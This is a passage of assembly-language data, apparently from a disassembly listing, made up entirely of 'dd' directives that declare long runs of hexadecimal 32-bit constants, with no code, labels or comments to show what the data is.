		dd 7B8A89F7h, 10AF6C80h, 0BA753D81h, 12F42900h,	0EBB75814h
		dd 3ED23E69h, 0F810DD27h, 0ED024233h, 908325A2h, 40DC5C3Bh
		dd 179EE131h, 64798107h, 181023EFh, 95097F3h, 0DC1F39F8h
		dd 0AD20F816h, 0A0050EAAh, 62C2884Dh, 7CC058E8h, 0D800D07Ah
		dd 609DF0A1h, 0C4B56C7h, 0CE1027B8h, 82001618h,	5E7883B1h
		dd 0A0B62590h, 9891AEC0h, 0F026095Ch, 2080CFBBh, 2F108E9Bh
		dd 9819A003h, 0DF3669BCh, 2DFC83C0h, 7C4C0DBAh,	43406B3Eh
		dd 40086444h, 6C26DA8h,	1902BBC4h, 0CFB24401h, 0AC6EAFDFh
		dd 0F0BEA884h, 1CC50ED9h, 0F68D0620h, 304355E7h, 0ACDF9100h
		dd 0E2E54A2Ch, 308B32FEh, 0D5025AE8h, 0B6D10CFh, 879C7C84h
		dd 4E084610h, 4B846764h, 700086B4h, 1E21080Fh, 474A3E8Fh
		dd 334E9BB4h, 97F0357Eh, 5E124D47h, 70E293DFh, 0EE483A7Bh
		dd 0E1197C00h, 8B7EF9C6h, 708C8E1Ch, 50305052h,	0E2CE4636h
		dd 72580249h, 0D5E8BD68h, 0AEBCF848h, 64FB1927h, 330E000h
		dd 439404A4h, 1D9067FDh, 4C248031h, 0BB041465h,	0E8006F0Eh
		dd 28F7B649h, 4484Ch, 192FDF7Dh, 10F4C7CEh, 764F0CF2h
		dd 58DBCD12h, 0D7B8F000h, 5D266CAh, 697F62A1h, 0BA83BF11h
		dd 35200EA2h, 66E50A3Dh, 652038F1h, 786A46h, 13318FF0h
		dd 0CD0A742Ch, 0B7284695h, 3F050810h, 5C9D2E04h, 0C0FCCD25h
		dd 0DEDB0780h, 0D0015E0Ah, 43C541E3h, 2468A3BAh, 0D3844F88h
		dd 0E481F7FBh, 209F1620h, 129355Dh, 0D57C71F4h,	0F0D9C5C6h
		dd 67044E29h, 55F28BFFh, 800040A2h, 0EBA3C15Fh,	0A400DAC4h
		dd 6F9923D1h, 0FC2B314Dh, 8ACA009Dh, 0C25BFCB9h, 0F400B236h
		dd 716BF252h, 11E1B7h, 0DD72A0DAh, 6C2AD5C7h, 2575D3Ah
		dd 0EB9ABF52h, 0E434E0E8h, 0F2D100CAh, 17D6328Bh, 3B0079D8h
		dd 0AD9F353h, 1F7F85B6h, 40CCEFD0h, 366476A6h, 0AC60B842h
		dd 0D1B624D1h, 9ECE31C9h, 72F85910h, 87983A80h,	0DC270AA0h
		dd 6631ECh, 4EF9160Ch, 0FB423CD9h, 4F2E69ECh, 520030A8h
		dd 0D8D3ED7h, 0FDC72AEh, 129BDE89h, 188C0B60h, 3033D344h
		dd 0E0071106h, 80109834h, 49005024h, 2BF4853Eh,	79502h
		dd 0F206176Ch, 46A34CEh, 0A828DF6Eh, 47914Eh, 4044340Ah
		dd 1EE788B1h, 0CE295D9Ch, 0A402F2FFh, 4F609060h, 5800FCBAh
		dd 0FB8A67C9h, 34CC6Ah,	0CB229450h, 6B8B2ABBh, 79EE1B07h
		dd 0B9205EE7h, 790113A5h, 2D8D00FAh, 0EDC6419h,	62002872h
		dd 0B886EB89h, 464481h,	0F0AA1E42h, 38EE5B10h, 7262F800h
		dd 88828901h, 4C7E47h, 45A167E4h, 1EA5C571h, 0AE3EFE75h
		dd 0D5A80035h, 92241BC2h, 496B009Dh, 6A6C29BFh,	0A5F8662Bh
		dd 0AA54D903h, 0B8205C8Fh, 13F1F2D8h, 0B2B637h,	0B4811D60h
		dd 5650D019h, 880099ACh, 2BC08D45h, 67E83Ch, 4721E793h
		dd 0C5763EEAh, 0B101697Bh, 8F7A06A5h, 0A9200E58h, 0F38A03E0h
		dd 521B83A8h, 0CCA2E2B0h, 1236DE00h, 0A43EEF45h, 4EC7004Fh
		dd 0C66CBBA0h, 8B7D77BDh, 0B396671Ch, 0ED0EF800h, 238D7Eh
		dd 0A3474137h, 283A6FA1h, 5414D677h, 15F80AD4h,	3EC0D068h
		dd 37BF8027h, 571D7187h, 707500DEh, 0D0B448F4h,	0BB015650h
		dd 5A95EE45h, 0E5D40824h, 52AE0038h, 0B2CDE29Ah, 0B90E94DEh
		dd 20F1A940h, 3F1073ADh, 0AE63064Ch, 18ABA76Dh,	4ABFC000h
		dd 16DD1C9Eh, 39D902E5h, 5C9C1D0Dh, 0D0567C60h,	0F7002FE2h
		dd 4951EB61h, 5D90A2h, 3A761FE0h, 65C303B2h, 94995Ch, 9CA7BF2Eh
		dd 4BF233h, 21E667ACh, 0A583F1F0h, 12160C72h, 0F9002AE5h
		dd 6175B5B8h
		dd 9082EC07h, 0C1AE007Ch, 6E81402Ch, 1800EC86h,	478DE694h
		dd 204F37h, 0C2AC4821h,	1FA0BF46h, 0FAFB2F01h, 5F250EBCh
		dd 88BBC643h, 0DACAF8h,	5794097Eh, 0E3A5212Eh, 0DD3B80E2h
		dd 0EAD480ECh, 96F229A2h, 86C400F0h, 2640BD3Bh,	23070A2Fh
		dd 72A5933Ch, 408057B4h, 7466394h, 0C6562F4h, 708CE7B8h
		dd 0D59EACCFh, 9C680602h, 0C0B3E978h, 0C221B2Dh, 0C7B79A24h
		dd 8F09EA16h, 5AA2979h,	0CDC5B4B6h, 261DF452h, 11976440h
		dd 5A1F9Eh, 790C0E3Eh, 714B1238h, 7BF5700h, 644A55AAh
		dd 0F9680EFDh, 3BA0BB4Dh, 6B39B841h, 0B5082101h, 5FD18B83h
		dd 3C72B083h, 4DB0F605h, 0D00069F0h, 95138A8Dh,	3F934A7h
		dd 5066D639h, 29908C05h, 6304E46Ah, 0D0A63897h,	4FEE8080h
		dd 0F80F00ECh, 927343B5h, 0EF0380FCh, 0B4C9975Fh, 3109D014h
		dd 452939AAh, 9695A500h, 42CACC90h, 397410C1h, 104077B0h
		dd 1C3BE748h, 0C04E6DC1h, 0C651254Bh, 3005971h,	203EE91Fh
		dd 9022369h, 0C94AFE81h, 250B0800h, 0BF04945Bh,	0F5EFA6E8h
		dd 782FFC80h, 5588008Eh, 0B89A5365h, 0E500CAF2h, 4F31CB36h
		dd 990875h, 38B38AD7h, 797312FDh, 0C83EB200h, 0E9A2FC7Fh
		dd 8E6402F1h, 48A92CAFh, 2D441460h, 0A1740A40h,	22FC6FCCh
		dd 79DA00D7h, 0BB4A6C2Bh, 65144070h, 0B42A34h, 0A35712A7h
		dd 118F616h, 2BF317A8h,	8309F1C5h, 38AEF768h, 0BE158879h
		dd 7830FDFBh, 996E004Bh, 0D4C5A849h, 9D00A05Ah,	8AD61E3Eh
		dd 0A9F1F7h, 0F301289Bh, 264B3CCEh, 0F53DC307h,	16D16F02h
		dd 9520C864h, 536D0323h, 0CBD4BBBh, 6C1DB804h, 0FA80384Ch
		dd 0F4594EFh, 0FAF70F21h, 9858AC41h, 40C30EEh, 167E48h
		dd 0BE72F392h, 9C483Ch,	32B4D31Ah, 0F6137383h, 0A6EF7109h
		dd 0CBF880E4h, 25F209h,	0E203EA06h, 4CE5971Ch, 4000A170h
		dd 0E768DA22h, 3EF0176h, 0AE266AC8h, 55A02DD8h,	4500CDA7h
		dd 0BB9FA72h, 343944h, 57A35F15h, 485A78F6h, 7773F33Fh
		dd 0B98FFD00h, 0C4BCF08Dh, 0D7FF3D28h, 250720C8h, 805A2608h
		dd 9DDA4824h, 0E418FC60h, 777D652h, 619EDDFAh, 4F7C103Ah
		dd 40548687h, 9001C1E8h, 2AB273C2h, 83031A1h, 0AC4C0752h
		dd 0AA4D6205h, 75BF00A9h, 461B5E5Dh, 40F06801h,	0B372AC08h
		dd 667CC8h, 1A92BB59h, 0B9F2105Ch, 0C1EA5DEEh, 4A02D800h
		dd 0F3F6FFB0h, 0F50707ABh, 616B0999h, 60F975B1h, 471680A2h
		dd 0BC400CF0h, 561F3BECh, 0C084006Bh, 0F87BCDF9h, 423AEF38h
		dd 61C100BCh, 9AD3F75Bh, 48567F4Ah, 0E0005C81h,	0EDA66E0Ch
		dd 85047505h, 711C321Ah, 0D95DB7C3h, 470965Ah, 0FDFC0034h
		dd 0DD9B12F7h, 8449A53Ch, 99621EA8h, 0A4002293h, 8836C340h
		dd 767472h, 29737787h, 2379698Bh, 7B6F9100h, 46628E21h
		dd 61951326h, 58870141h, 609A1C40h, 0A53F1010h,	8D9E055Dh
		dd 60D048E2h, 742BE8D4h, 11AC1387h, 4A7840CBh, 0CA8E8032h
		dd 9728770Eh, 89378EC2h, 20F18BEBh, 0E38A8C78h,	32050348h
		dd 0A7BEFABh, 2091C4A0h, 9502C578h, 823314E5h, 0E397818Ch
		dd 0A3D8AE6Ch, 0D6CA0058h, 1DD954EEh, 3F00FF03h, 7BFE7384h
		dd 3A2B80DDh, 5D0D164Ah, 0CCA9521Ch, 8A015942h,	150CC5D6h
		dd 8409A8Bh, 60E5CC94h,	7B9B8079h, 5766C8E6h, 3FAD639h
		dd 63E0564Eh, 20A75E4Dh, 0D103314Fh, 1178CA50h,	0F7039281h
		dd 0CCE005DAh, 54179814h, 0D8004FABh, 0AC09080Ah, 24E500EAh
		dd 683C1187h, 0A700C5D5h, 0BE36157Ch, 19C754h, 0D8F6C60Eh
		dd 92DB561h, 1E165700h,	114177C1h, 4E04DF7h, 78A80078h
		dd 0FD562FDEh, 19C0F18Bh, 1C03C742h, 15313EBh, 0D53F1E08h
		dd 0D107BC2Ch, 0F0D87F4Bh, 772488CEh, 0A3BC6F2Ch, 832F1906h
		dd 7D00018h, 853126B1h,	0D3780406h, 37B8731Eh, 8CE69200h
		dd 6CC6F4CEh, 7F581AC8h, 0C4AE9300h, 1CD60F9Bh,	9FCB0F79h
		dd 5407A070h, 281F0611h, 5730C3F8h, 14E185Ch, 9914614Bh
		dd 0F8DD2BFAh, 68CFC48Dh, 1E7AC098h, 0C0ACEEEh,	0F31B93BCh
		dd 8E32D6A1h, 20E2800Ch, 7FA39146h, 0B27B58C3h,	0A80F890h
		dd 33C1188Dh, 0D740180Bh, 0E9BC650Fh, 4CDC8753h, 800D5B82h
		dd 57F67994h, 179B0940h, 274448h, 4AB5A7DEh, 90721C48h
		dd 431382F5h, 458C00DFh, 6C92C790h, 0E8520933h,	0B56CC42Fh
		dd 6D010EF1h, 6E07DF75h, 941C204Ch, 0D2DB4B15h,	127F0DCCh
		dd 82611843h, 2DB04050h, 951607ADh, 30A32162h, 40049AAAh
		dd 9F33F203h, 0E05C3D57h, 29E576h, 2DEDE795h, 0E9BB4397h
		dd 77D458C7h, 590AC46h,	57D09567h, 7B8C0C2Ah, 0C8C07AE8h
		dd 0AF071174h, 5B28C4A3h, 10BCC77Dh, 0EF10CBF6h, 0C7207C62h
		dd 0BFCC08B4h, 99D67587h, 27116CA4h, 2E157101h,	80765A97h
		dd 0A3779943h, 51212C20h, 3C3300A4h, 1293DF4Ch,	10E488D0h
		dd 0C604AC47h, 841746C2h, 3A4A5C8h, 94D0FB38h, 8912EA49h
		dd 6F0D0A92h, 3BEC90A6h, 0F0DD608Fh, 39068CB5h,	10FE4B30h
		dd 0F34CDEh, 8EB402DBh,	0F66A9F86h, 0BF3AE901h,	3D387F77h
		dd 0E06515E4h, 5C71CFh,	954C9B4Dh, 90ED68C4h, 0AA301D01h
		dd 1B501AF2h, 0F35D4h, 49281F8Fh, 0BFCF78DEh, 0E6597E00h
		dd 5ECA0C66h, 256500F6h, 0E9470661h, 17001592h,	19606AFCh
		dd 1FEECBD9h, 40CA435Fh, 0F897EBFAh, 0FC00E69Bh, 448D9355h
		dd 0A854E4h, 8A980AB1h,	0F9EBBADCh, 0B447921Ch,	0E06A484Eh
		dd 6F8DBB55h, 53E507F8h, 85AB6D64h, 0F19A803Dh,	5F005575h
		dd 57A1FDF9h, 0F0A6DFFCh, 0A2FA1EEEh, 0FB32CD54h, 83040A31h
		dd 0CC1D72h, 3570C510h,	0A524327Bh, 0FA627A00h,	20BB1653h
		dd 217200AEh, 0C587DE2Ch, 7864C486h, 2F219128h,	101D12CCh
		dd 51C83D5Dh, 0C37542BDh, 64213924h, 0A929903Eh, 4435A784h
		dd 0D5462B55h, 7CEA79C3h, 89D4BB88h, 6C144151h,	138112C2h
		dd 8D26C9DAh, 0EEBF0079h, 0F98B8333h, 3700DDC8h, 0D73A685Ah
		dd 1CA313B0h, 0AE666Bh,	0ACE248D5h, 100AB31h, 238BDC0Fh
		dd 6B7165h, 4C10C641h, 8EACB685h, 4F379007h, 0DE6A43h
		dd 16B25474h, 0B74D0079h, 0C15747DDh, 0E500E3E8h, 0A14E9C07h
		dd 3E71665h, 3541CD0Bh,	0DB0C9FCh, 3D059FA3h, 5E7FFD18h
		dd 0A0082C5h, 2595BE34h, 8B8F0031h, 73EFCA59h, 0A11D7686h
		dd 87BCBBF9h, 3A278750h, 0D55C190h, 0AD97039Ah,	596F19ACh
		dd 8011103Dh, 0E43FA6ECh, 7D843064h, 0D9C000EEh, 3AAD6335h
		dd 65008E52h, 4683724Ah, 18980512h, 40517F45h, 0F01F62BAh
		dd 9D04C5CDh, 28932F24h, 0F969807Dh, 73BD384Eh,	40A0279Ch
		dd 0B7F843E3h, 0E200A3CFh, 77A6A1BAh, 0C0A5C1EDh, 0B9BD1B10h
		dd 4560EECCh, 0C7BBC70h, 90130011h, 994C9317h, 8F4815CAh
		dd 0DF9E0058h, 0E89CA6D5h, 0BF580EB2h, 5A00D7FFh, 8E8574E0h
		dd 33A35400h, 827ED6A0h, 1C760018h, 3DACEC07h, 2A7956E2h
		dd 0B043EF00h, 0A169C5B2h, 8B100D7h, 26D1A3E0h,	0C3F6C738h
		dd 76FA0C00h, 0B8F21D45h, 93910074h, 4C2FB617h,	4378C133h
		dd 4AFFAB00h, 0F9252CCBh, 36E46Dh, 72B741CFh, 4D450882h
		dd 5D555B00h, 5F24ED2Bh, 27EA002Ah, 46AE9E4Bh, 4D1EBF6Bh
		dd 0EB001C4Eh, 1A76C841h, 5AA8A038h, 6AD20074h,	0B3701B6h
		dd 887C9815h, 0F2467300h, 53ECD64Ah, 3E7517E9h,	80751F0Dh
		dd 493DF6E5h, 0A0019CC2h, 337AEEAh, 8DC56053h, 156BF8h
		dd 0AA96829Ah, 0F25CF7DFh
		dd 0BC8A4100h, 7F9E897h, 0B7A90057h, 9DB08254h,	3B5CBF06h
		dd 15A515F6h, 85D400D8h, 9E021A81h, 0EF2C3F8Bh,	0CFCB0980h
		dd 9541E4B9h, 33BB2402h, 415E1D62h, 0D5C49218h,	0F211EC36h
		dd 0FFB32065h, 7DEA3D00h, 5A16D204h, 0BEB761Eh,	6862517h
		dd 9CF73F81h, 53A2FC2Ah, 6113AE0Ah, 0DC00D89Bh,	6C58CDF5h
		dd 7CC00CC8h, 9E18988Dh, 9A8EF900h, 9B973A94h, 0F0100220h
		dd 8C458F3h, 7B8B040h, 0D2625F00h, 8B6F90C6h, 0CF680E21h
		dd 2521CCB5h, 80DF056Ch, 26FB2DEEh, 50E788E5h, 898491h
		dd 0D3933ECEh, 31240E79h, 671D4F03h, 0E872BA27h, 1F7FD7B9h
		dd 87BEF4BFh, 0C04CD505h, 0F8E14E45h, 0AB18EB03h, 876DC0A7h
		dd 0EDDC54C0h, 59FF00E9h, 0C80D09FDh, 5F1F0A58h, 0FA0076E5h
		dd 7A4FA710h, 0CE0B0047h, 0A523E782h, 9114B351h, 0EA0B07Dh
		dd 72B226h, 0AFCF4D3Ah,	2EEB0090h, 9240FF4Ch, 2F1E5CE0h
		dd 0D80086F7h, 8459BDE8h, 5D7943h, 1836A296h, 42C903C4h
		dd 0BAC7D902h, 0E0BC5016h, 0E30DCA6h, 0E5625141h, 0F6E64800h
		dd 0BA3CA1E4h, 5F00FD0Ch, 0CA5B7FB1h, 70511A8h,	210D43BFh
		dd 9FFC044h, 0FC00E320h, 3616D1Dh, 92FDEA0h, 392A8873h
		dd 0ED5B8CB9h, 68803466h, 5E00BC90h, 0A46DECD1h, 32C6C13h
		dd 778ABBDh, 95EF65D3h,	3303C0DBh, 0F40528F5h, 913F09C1h
		dd 3CA2A4C0h, 0C28901FCh, 0DB1738ECh, 88C8D285h, 7092F894h
		dd 1D25CA14h, 0A5E201E0h, 1EE1148Fh, 432C1080h,	0BEF57D85h
		dd 477E880Fh, 0AD40FE20h, 0D4E0B14Bh, 796603E5h, 0D58FB52Ch
		dd 3308EE88h, 0E27D60C3h, 0C2C93D42h, 5583B10Dh, 0A0642058h
		dd 0A3FD6101h, 0E16214AFh, 5C0B8C20h, 932481F9h, 5BE500ACh
		dd 0BBF52F91h, 0A54A3C00h, 17EE1B2Bh, 3B9E7866h, 2843F19h
		dd 80E2CD69h, 74C82B78h, 0F9F8B201h, 0FFB59388h, 55F4D0h
		dd 0B0AF03ECh, 76EADF60h, 0C7F22E0Fh, 1B56ED3h,	0E8043BD2h
		dd 0F25A470h, 1F11DB7Ah, 62800073h, 0D531F487h,	0A0808B01h
		dd 0C4301701h, 3E3BD820h, 2E8296EFh, 0C88FAA29h, 0FCD88140h
		dd 2C47A106h, 3D8B051h,	0E6B106A6h, 1000BA9Ch, 48EC1360h
		dd 1CBFE391h, 0C0CEDF84h, 12BB01B7h, 271CC818h,	6140097Eh
		dd 0AC5E2556h, 0F70B003Fh, 52877BEEh, 8C2CE6BAh, 610B1053h
		dd 6B382740h, 0FC132F87h, 2459E909h, 901034h, 2E27CA30h
		dd 1B87E6FFh, 6AFEF0E1h, 8BD0C654h, 923B7A12h, 7CB3EC02h
		dd 89560ABh, 0A0627FDCh, 1424CD8h, 788A3C57h, 8B45D80Dh
		dd 1DA2719h, 0A6F3B834h, 8D6ADC40h, 9FD30088h, 4C837344h
		dd 0A0C0F826h, 16F93864h, 0B0E0703Dh, 5C7A0308h, 7F6FC3BAh
		dd 22A9B901h, 2D9E8F05h, 10A1096h, 0A7F00DABh, 566080B9h
		dd 0FF7B50D1h, 3C21F4AEh, 30808D49h, 0B6DF1B9Fh, 0BE05162Bh
		dd 8E5F3B2Ah, 0AA97E002h, 0D0904093h, 0E86E48E5h, 0B3ABB401h
		dd 80DE36EFh, 0CAFEBA48h, 4C5ED77Ch, 3F263874h,	2B803892h
		dd 0C05AECB9h, 0B24C0198h, 0A6121C34h, 0C177C440h, 8B5102h
		dd 6DF362DFh, 97A4C804h, 3A2B2300h, 0A11CFC6Ah,	7CA81695h
		dd 0DB544040h, 8C37E85Eh, 7D8DBE38h, 34240126h,	4654080h
		dd 2AF36C51h, 11D01159h, 1F3A73B8h, 0E74EA3ACh,	0A2DE402Bh
		dd 7E32F3E6h, 0DC2205B9h, 3B0E34Fh, 7B168294h, 0E4DE91C0h
		dd 0D91270F9h, 0C680FA00h, 0A547C03Fh, 63CE0355h, 0AC1FE507h
		dd 898021BAh, 6029BE82h, 58EA1B24h, 40CB980Eh, 5ACF30A4h
		dd 0C8FCA34Ch, 7C01D3CAh, 33D517A1h, 0FB1CCDh, 0E258F2FAh
		dd 0A3043CE9h, 41CAC395h, 0D4CEC3FEh, 5712C2A0h, 9F7F5800h
		dd 1BFD88D9h, 47382582h, 0D650C002h, 8520A044h,	1AE6B2h
		dd 3E34E8F5h, 74C12AD2h, 542D4D0Bh, 0E49C20C9h,	3CD9CD70h
		dd 0A028C611h, 50DC0B80h, 90A188E9h, 0FE8C76B0h, 0BFF2F9E0h
		dd 70935333h, 0A93FE8E7h, 0B060003h, 0AA64188Eh, 0BF01B86Fh
		dd 2663491Fh, 77DC21BDh, 659F00E0h, 87FE8173h, 57072CD4h
		dd 0B3C633A5h, 0E3759320h, 6E17C92h, 0A88BBAE9h, 3400986Ah
		dd 0EF96685Eh, 30D8FC1Eh, 95D8B724h, 0D203BE0Bh, 0B36D66DEh
		dd 0C898C16Fh, 0B545DB40h, 0C971007Ah, 0D0BCCE79h, 977668C0h
		dd 0B25A9900h, 0CB1B5047h, 8AFC66h, 0C4AA6FA6h,	1532B930h
		dd 5487BE00h, 195CE9CDh, 0C7A700E6h, 21896056h,	0B67BFA77h
		dd 62FCAB00h, 2231F8F7h, 80E139FDh, 60A31380h, 0C51BF9Dh
		dd 9800A973h, 0BD69C719h, 5EC80Fh, 0A818A052h, 0EFB4D629h
		dd 6E015578h, 4D2CFD2Ah, 0E6F04158h, 3C622649h,	2018174Ch
		dd 1F39CAA4h, 0CF042CB0h, 0A803B811h, 6EAF88D0h, 0D82405DCh
		dd 8338FFF3h, 44E90AD8h, 1F01D47Bh, 0C463D07h, 2BE4FB80h
		dd 3A1088C0h, 2ECA0076h, 39FCE74Fh, 0A0DF60Eh, 58260CB1h
		dd 34A29800h, 38A800CDh, 0BF21563h, 2902BBB9h, 0CD8CFC8h
		dd 560DC0D6h, 3DF058A8h, 97B08405h, 28B80018h, 0F19D7159h
		dd 0A377AF00h, 0CC5A37ADh, 0F4E648h, 0E188786Bh, 8F1E0674h
		dd 861BD426h, 2A9ED14h,	0CA129141h, 0A61961FEh,	0AED8A9C9h
		dd 0F09A0072h, 5E5004A4h, 331C2794h, 10801607h,	0CE474C7Dh
		dd 0D35D163Ch, 0C0771D6Ah, 446E28BBh, 8F0049C1h, 0A4437651h
		dd 71CBACh, 0E49CCEA7h,	147693Eh, 54D1FF00h, 0C1877F5Bh
		dd 70DFC78h, 0B36B72D3h, 989BF1C2h, 0FAECF869h,	0EDF35019h
		dd 79D0D819h, 157AA1h, 0A78930E7h, 5AEFAB27h, 0E6007990h
		dd 2CDE48D9h, 1349593h,	1E09CD05h, 0E0D7908Eh, 891B4EC5h
		dd 0D898C332h, 0C103AEh, 6F9D7342h, 66A96CE4h, 37F2F013h
		dd 0C4E55001h, 0DA205289h, 4D1A0042h, 0A4B6E61Bh, 2E001E9Bh
		dd 8E45CC7h, 1FA6BA7Ch,	40AC1507h, 62A9B550h, 2F09D064h
		dd 31B4DBh, 0BF0D489Ch,	3C4B0038h, 8E3EA3E3h, 0CA00649Bh
		dd 0B768DF8Dh, 0D2BC31h, 0D045B086h, 59630812h,	0BB2BB801h
		dd 0BE647189h, 1DC31DFCh, 0CC2A235Fh, 3A58B2EFh, 60DCA100h
		dd 4759D340h, 9553009Ah, 49BC1BBh, 2900DF39h, 327F9944h
		dd 60CE13h, 0C07ECDB1h,	529DF911h, 3CA3BF00h, 0B9639CD7h
		dd 77A000DBh, 0BA4B2A85h, 0B4000D84h, 9F88C7E8h, 165E26D4h
		dd 0FADFE45h, 8E8054C0h, 0A501AA9Ch, 4A820800h,	534BBCCCh
		dd 0D4990034h, 0BF8C95B8h, 4400EFF1h, 1CDB5EFEh, 24B2CDh
		dd 6FE13AE7h, 6EB57A2Fh, 0B3143D03h, 0F0A0A977h, 1E23311h
		dd 0C47D7251h, 28D98EE9h, 0BC3F250Ch, 0A035207Ch, 79A8AF00h
		dd 5CD5E1DAh, 4A1E128Eh, 2A2480A6h, 5624B82Dh, 0E11E18FCh
		dd 3FFE9247h, 6C97DC61h, 2E5273ECh, 0A090BF29h,	5DA51DA7h
		dd 66E1C138h, 604B2B72h, 70097534h, 80B6CCB9h, 0BE7A6BE4h
		dd 0B2A7016Ah, 5E320B04h, 2728DCB4h, 0ECA578C0h, 604735h
		dd 0E2454BEh, 2E3CB098h, 0AA6784E6h, 0DCF06312h, 0C83C733h
		dd 0A88CDE68h, 0A02620D0h, 0F700619Ah, 0A18EE616h, 0A0B89Fh
		dd 958BF1D6h, 0D18A298Dh, 0DDE79600h, 424D6191h, 144780Eh
		dd 0F2F45E7Fh, 0F825A955h, 400788Fh, 5285C1A2h,	581657C3h
		dd 9B0000F5h, 36CC8161h, 5B001001h, 0AA2A961Ch,	17E26C9h
		dd 0EB39496Ah, 744AA5F3h, 0A4FFFECh, 0C6472440h, 7D2C24h
		dd 0C7D75B55h, 0BBF15A8Dh, 85983F50h, 0B22E011Ah, 6D7061AEh
		dd 0A2A860h, 89E24310h,	0F5E6F641h, 67946E00h, 833DA788h
		dd 71662EB3h, 6F25050Ch, 0F788009Fh, 62A28031h,	37500978h
		dd 3E0036B0h, 9803924Bh
		dd 5E8CCEDh, 6B998941h,	0ADE0D073h, 3FE6C726h, 0C80B5Ch
		dd 0E2EF8A84h, 609B6C48h, 0DAA3D0C2h, 4F03B727h, 0DB0E4C34h
		dd 7A6EF888h, 4CACB22Bh, 7800DC52h, 2AE19663h, 430F35E7h
		dd 21D7C6C0h, 0FC75A755h, 0B9B8C8h, 9D1951EBh, 5EBF4F37h
		dd 863CF0FAh, 41E68066h, 557AAC63h, 901B502Fh, 5D741E79h
		dd 52DF40C8h, 726E138Ch, 281EE1E2h, 0F2404193h,	29D9843Dh
		dd 6FBC074Dh, 31E5CEF4h, 80730380h, 9B0EDA91h, 1D661E77h
		dd 4056C42Bh, 3AAB38E9h, 0CAE83313h, 0D9793D01h, 76A5A958h
		dd 1C1A08F8h, 819635D8h, 13735BECh, 2B8840C1h, 3D006FA1h
		dd 9814BDD4h, 60B41E62h, 5D4F70F6h, 0EA73DBB7h,	6BFA4BF0h
		dd 0BD6F7D0Eh, 5F4DE0C9h, 1C20B21Fh, 25C85FDh, 93D872C1h
		dd 0E60788A1h, 3038FCh,	0A9D54696h, 125AC8FBh, 0F306F83h
		dd 47A00630h, 0DB3D65D6h, 17C1770Eh, 0A321403Bh, 0F82B6E7h
		dd 1E55C54Bh, 8C42F3E0h, 627352E6h, 0F80B657Fh,	82747h
		dd 9CD5B98Fh, 33830039h, 3ABE9A15h, 50B4E116h, 0AC29DB00h
		dd 64FC3194h, 804D2061h, 17D68134h, 7FEDEA04h, 2CA5F521h
		dd 710C60D2h, 0A09EA3h,	4A7E7581h, 7A00CDB8h, 95388528h
		dd 0EFFA642h, 0FCACD563h, 0D94D9380h, 480012D8h, 130561D6h
		dd 33A6BD0h, 5D32EC83h,	1A0D5DDh, 0AE5C7625h, 1FFF00D4h
		dd 8CC670C8h, 59CC001Ah, 95BF4E91h, 0DB14D9F8h,	12D4FC85h
		dd 370002E9h, 0A6E00F13h, 9ED50247h, 0ECCF9367h, 8E94560h
		dd 41F7B713h, 0BA056C00h, 0EC84321Dh, 0D46B0014h, 869094FFh
		dd 8800456Ch, 0F4F11EC1h, 916760h, 0F718B792h, 497A7D42h
		dd 0C871D600h, 0D86BAB48h, 50EC0047h, 42097840h, 5F007090h
		dd 56588FA5h, 0C4DC07h,	51F9437Bh, 0B25CE3E1h, 0FF2A400h
		dd 0DDD03132h, 8904CDBh, 0F4295F07h, 827F5123h,	0DCDAED07h
		dd 390030E6h, 0A1DBC2D4h, 375874h, 0DD1559F1h, 7F77FEEAh
		dd 80A44F00h, 6A39AD1Dh, 821000BEh, 156B0A1Ch, 31FBAE9h
		dd 0BF84E126h, 5CB080AEh, 8F36007Eh, 24CA91EBh,	0F73BDBF3h
		dd 0C4A8D482h, 0A5DF9607h, 92AEB868h, 0FDDC3C90h, 3C8B592Ah
		dd 586DE301h, 0E421F832h, 0D1491633h, 45660920h, 94540799h
		dd 285E8EE0h, 0D6821C1Eh, 35A4D5h, 1348BF85h, 0A9009FCCh
		dd 0A2665D79h, 571C19h,	0F1E6D002h, 47946551h, 0EB1BF1Ch
		dd 0A252D1DEh, 1FCC8100h, 0E95EA5h, 0B0AB5039h,	32915CFDh
		dd 3FB61B00h, 443E2ED0h, 0A0110EE0h, 1FA0BD61h,	0C81814D9h
		dd 0C720E718h, 0B511BE8h, 0EDC42D9Fh, 0E4CE7CA1h, 10F231E9h
		dd 0A61A8BACh, 0E099DF0h, 310AD5Bh, 0F87D3BA7h,	0ED1E20Fh
		dd 318C75EDh, 0E1086521h, 0C8F021A3h, 0E32AECD6h, 72F4B87Dh
		dd 0EA01C49Ah, 0B8955F58h, 0D0401980h, 1FCD560Bh, 7662D7h
		dd 939B1B01h, 0F000806Ah, 0AF7B5113h, 908B8760h, 3F330014h
		dd 93CFFEB8h, 74005266h, 14B207F0h, 761E984Dh, 387BAFh
		dd 613DE50Bh, 43D2FFB1h, 0AB005376h, 1DBEF1DCh,	4249206h
		dd 4F1E3756h, 5170235h,	571360BDh, 5AD50384h, 230D06F4h
		dd 0C0289AA0h, 14528E18h, 25190C9h, 3B820ACh, 0ADC0B61Eh
		dd 509E8576h, 93CCA681h, 8AC4F817h, 0C2C70FFAh,	2F8082A8h
		dd 4D92974Fh, 0C8FB3724h, 96A803Eh, 0C694A757h,	0B2320042h
		dd 0E17C26B7h, 1C0089B9h, 289E18F8h, 0D8CE1Ah, 80C07734h
		dd 0CD7A27AEh, 66F8F00h, 1EA3486Dh, 0CB402BDh, 344426DEh
		dd 6E09DCD8h, 83D10902h, 805E9B11h, 93BFB7h, 2EE05988h
		dd 8ADE4B3Ah, 0CAF06700h, 766DEA41h, 211E0FA0h,	0C6E090ADh
		dd 0BF58A934h, 0E4412418h, 1CB909B8h, 0C3AF51C8h, 2EFCE9A3h
		dd 1BA8A6F8h, 6CB26A1Fh, 0BBA0D284h, 21C2A8C4h,	7F48404Ah
		dd 179D2C84h, 1338037Ch, 7CEA9F72h, 0EA8C175h, 721F874h
		dd 4AA1260h, 2255E0CFh,	290E1CCCh, 0A00A87E4h, 8809FD03h
		dd 7B0E0749h, 3245C5AEh, 0D080153Fh, 0E7726269h, 6D48D200h
		dd 0C7E34910h, 1E8011Ah, 0C6D43A3Ch, 0FEB0DF38h, 0CC1C3335h
		dd 3F7A9648h, 0BAE18E5Bh, 7AFB212Ah, 10854237h,	0F23878h
		dd 0EFFF41CBh, 0E6005FECh, 0DAB01FD6h, 0DDEDC5h, 80BF8374h
		dd 6FEB9FA7h, 3104902h,	8464753Ah, 0CA0DBFCh, 7C11C0C9h
		dd 84D28F43h, 4201189Eh, 0BF6198DCh, 0E4775960h, 94455936h
		dd 89EE9A00h, 1F070370h, 0F9B73428h, 98066A00h,	0AC0F23C8h
